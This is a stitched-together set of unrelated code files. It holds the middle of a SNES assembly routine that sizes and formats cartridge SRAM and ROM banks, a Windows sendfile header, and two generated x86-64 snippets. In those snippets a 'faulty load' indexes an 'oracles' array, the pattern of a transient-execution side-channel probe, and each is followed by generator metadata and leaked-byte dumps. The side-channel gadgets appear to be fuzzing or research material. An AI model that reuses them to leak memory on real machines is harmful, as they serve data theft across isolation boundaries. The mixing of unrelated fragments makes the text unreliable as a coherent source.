#0x20 beq $+b_else // Deactivate SRM feedback lda #0 bra $+b_1 b_else: // Activate SRM feedback lda #0x80 b_1: sta $_Feedback_Active smx #0x00 // Test SRAM size .local _bankCount lda #2 sta $.bankCount // Write unique value to test banks, both bytes must be different to account for open bus lda #8 sta $0xa17ffe dec a sta $0xb97ffe dec a sta $0xb57ffe dec a sta $0xb37ffe dec a sta $0xb17ffe // Look for valid banks inc a cmp $0xb37ffe bne $+b_1 asl $.bankCount inc a cmp $0xb57ffe bne $+b_1 asl $.bankCount inc a cmp $0xb97ffe bne $+b_1 asl $.bankCount inc a cmp $0xa17ffe bne $+b_1 asl $.bankCount b_1: // Restore last bytes of bank b1 txa sta $0xb17ffe // Allocate some memory for a list of banks ldx $.bankCount dex cpx #2 bcs $+b_1 ldx #1 b_1: lda #_Memory__CartBanks_CONSTBANK/0x10000 call Memory__AllocInBank // Return: A = Bank number, X = Memory address, Y = HeapStack pointer .local =list xba sta $.list+1 stx $.list inx stx $_Memory__CartBanks // Write length lda $.bankCount dec a dec a smx #0x20 sta [$.list] // Copy expected valid bank numbers inc16dp list tax dex bmi $+b_1 b_loop: lda $=Memory__FormatSram_BankOrder,x txy sta [$.list],y dex bpl $-b_loop b_1: smx #0x00 // Format SRAM ldx $.bankCount dex dex dex bmi $+b_1 b_loop: // Change bank lda $=Memory__FormatSram_BankOrder,x sta $.DP_ZeroBank // Write bottom and top addresses lda #0x6000 ldy #_Memory_Bottom-0x8000 sta [$.DP_Zero],y ldy #_Memory_Top-0x8000 sta [$.DP_Zero],y lda #_Memory_HeapStack-0x8000-4 ldy #_Memory_HeapStack-0x8000 sta [$.DP_Zero],y // Next dex bpl $-b_loop b_1: // Calculate SRAM size in kilobytes lda $.bankCount cmp #3 bcs $+b_else // Between 0 and 8 kilobytes lda $=Rom_SramSize and #0x00ff cmp #5 bcc $+b_else2 // Size 5 or greater but assume 8 or 16 kilobytes lda #16 // Is feedback active? bit $_Feedback_Active-1 bmi $+b_3 lsr a b_3: tay bra $+b_1 b_else2: // Size 0 to 3 tax lda $=Memory__FormatSram_SizeKb,x and #0x00ff tay bra $+b_1 b_else: // 16+ kilobytes asl a asl a asl a ldy #16 b_1: sta $_Sram_SizeTotalKb sty $_Sram_SizeNonDynamicKb plp return Memory__FormatSram_BankOrder: .data8 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf .data8 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf Memory__FormatSram_SizeKb: .data8 0, 2, 4, 8, 16 // --------------------------------------------------------------------------- .mx 0x00 .func Memory__FormatRom Memory__FormatRom: .local _thisBank, _lastBank, _bankCount lda $=RomInfo_StaticRecBanks ora #0x4040 smx #0x20 sta $.thisBank stz $.thisBank+1 xba sta $.lastBank stz $.lastBank+1 smx #0x00 stz $.bankCount // Allocate memory for our bank list ldx #0x0090 lda #_Memory__CartBanks_CONSTBANK/0x10000 call Memory__AllocInBank // Return: A = Bank number, X = Memory address, Y = HeapStack pointer .local =list xba sta $.list+1 inx stx $.list stx $_Memory__CartBanks stz $.DP_Zero b_loop: // Set bank and add it to list lda $.thisBank sta $.DP_ZeroBank ldy $.bankCount sta [$.list],y iny sty $.bankCount // Write bottom and top addresses lda #0x0000 ldy #_Memory_Bottom-0x8000 sta [$.DP_Zero],y ldy #_Memory_Top-0x8000 sta [$.DP_Zero],y lda #_Memory_HeapStack-0x8000-4 ldy #_Memory_HeapStack-0x8000 sta [$.DP_Zero],y b_loop_next: // Are we done? lda $.thisBank cmp $.lastBank beq $+b_loop_exit // Next bank inc a ora #0x0040 sta $.thisBank eor #0x007e lsr a beq $-b_loop_next // Skip banks 0x7e and 0x7f bra $-b_loop b_loop_exit: // Set number of banks dec $.list smx #0x20 lda $.bankCount sta [$.list] // Activate SRM feedback (not necessary here but just in case this becomes an issue) lda #0x80 sta $_Feedback_Active smx #0x00 return // ---------------------------------------------------------------------------
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x10630, %rcx nop nop nop nop nop xor $32435, %rbp mov (%rcx), %r10w sub $43860, %rsi lea addresses_WT_ht+0x5800, %r14 nop nop dec %rcx mov $0x6162636465666768, %rsi movq %rsi, (%r14) dec %r10 lea addresses_WT_ht+0x5030, %r15 nop nop nop nop nop and %r14, %r14 movw $0x6162, (%r15) nop nop nop nop nop cmp %rbp, %rbp lea addresses_WT_ht+0xb7bf, %rsi lea addresses_D_ht+0xb420, %rdi clflush (%rsi) cmp %rdx, %rdx mov $19, %rcx rep movsl nop and $61511, %r14 lea addresses_D_ht+0x4810, %rsi lea addresses_WC_ht+0xdb90, %rdi clflush (%rsi) inc %r10 mov $85, %rcx rep movsl nop nop xor $53538, %rdx lea addresses_normal_ht+0x16a30, %rbp nop nop nop mfence mov (%rbp), %r10 nop nop nop nop nop and %r10, %r10 lea addresses_D_ht+0x16330, %rsi lea addresses_normal_ht+0x6630, %rdi nop nop nop nop xor $65188, %r10 mov $95, %rcx rep movsq xor %r10, %r10 lea addresses_normal_ht+0x4e30, %rdi nop nop nop nop inc %rcx mov $0x6162636465666768, %r15 movq %r15, %xmm0 vmovups %ymm0, (%rdi) nop mfence lea addresses_D_ht+0x18fb0, %r14 nop nop nop nop add $65017, %r10 movl $0x61626364, (%r14) nop nop nop nop nop dec %r15 lea addresses_D_ht+0xf3e4, %rdi nop nop nop cmp %rbp, %rbp movb $0x61, (%rdi) nop nop and $60803, %rdx lea addresses_normal_ht+0x5ab0, %rdi nop nop nop add $31760, %rsi vmovups (%rdi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r14 add $49654, %rbp lea addresses_D_ht+0x15cac, %rsi lea addresses_WT_ht+0x2a58, %rdi nop nop nop nop xor $65097, %r14 mov $70, %rcx rep movsq nop nop sub %rdx, %rdx lea addresses_WC_ht+0x140c6, %rsi lea addresses_A_ht+0x3430, %rdi cmp $48404, %rbp mov $50, %rcx rep movsw nop nop nop nop nop cmp $28355, %rbp lea addresses_WT_ht+0x1c630, %rdx nop dec %r10 mov (%rdx), %cx xor $8152, %rdx lea addresses_WT_ht+0x2630, %rsi lea addresses_A_ht+0x11230, %rdi nop nop dec %rdx mov $18, %rcx rep movsw nop nop nop nop nop cmp $23598, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r9 push %rbp push %rbx push %rcx push %rdx push %rsi // Load lea addresses_WT+0x15630, %rbp clflush (%rbp) nop nop nop sub $58216, %r9 mov (%rbp), %rbx sub %rdx, %rdx // Store lea addresses_WC+0xf058, %rdx nop nop nop add $38982, %r10 movw $0x5152, (%rdx) nop add %r9, %r9 // Faulty Load lea addresses_WC+0x7630, %r9 nop xor $12255, %rcx mov (%r9), %dx lea oracles, %rbx and $0xff, %rdx shlq $12, %rdx mov (%rbx,%rdx,1), %rdx pop %rsi pop %rdx pop %rcx pop %rbx pop %rbp pop %r9 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'00': 19213} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef __STOUT_OS_WINDOWS_SENDFILE_HPP__ #define __STOUT_OS_WINDOWS_SENDFILE_HPP__ #include <errno.h> #include <stout/error.hpp> #include <stout/try.hpp> #include <stout/windows.hpp> // For `winioctl.h`. #include <stout/os/windows/fd.hpp> namespace os { // Returns the amount of bytes written from the input file // descriptor to the output socket. // On error, `Try<ssize_t, SocketError>` contains the error. inline Try<ssize_t, SocketError> sendfile( const WindowsFD& s, const WindowsFD& fd, off_t offset, size_t length) { // NOTE: We convert the `offset` here to avoid potential data loss // in the type casting and bitshifting below. uint64_t offset_ = offset; OVERLAPPED from = { 0, 0, {static_cast<DWORD>(offset_), static_cast<DWORD>(offset_ >> 32)}, nullptr}; CHECK_LE(length, MAXDWORD); if (TransmitFile( s, fd, static_cast<DWORD>(length), 0, &from, nullptr, 0) == FALSE && (WSAGetLastError() == WSA_IO_PENDING || WSAGetLastError() == ERROR_IO_PENDING)) { DWORD sent = 0; DWORD flags = 0; if (WSAGetOverlappedResult(s, &from, &sent, TRUE, &flags) == TRUE) { return sent; } } return SocketError(); } } // namespace os { #endif // __STOUT_OS_WINDOWS_SENDFILE_HPP__
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r9 push %rbx lea addresses_D_ht+0x14d73, %rbx nop nop nop nop add %r9, %r9 mov (%rbx), %r14d nop nop nop nop nop add $23259, %r12 pop %rbx pop %r9 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %r9 push %rcx push %rdx // Load lea addresses_A+0x6d73, %r8 nop nop nop nop sub %r9, %r9 vmovups (%r8), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r14 nop nop xor $5729, %r9 // Store lea addresses_WT+0xed73, %rdx nop nop dec %rcx movl $0x51525354, (%rdx) nop nop nop add $37201, %rcx // Faulty Load lea addresses_A+0x6d73, %r14 clflush (%r14) nop xor $58221, %r9 mov (%r14), %cx lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rdx pop %rcx pop %r9 pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'54': 7} 54 54 54 54 54 54 54 */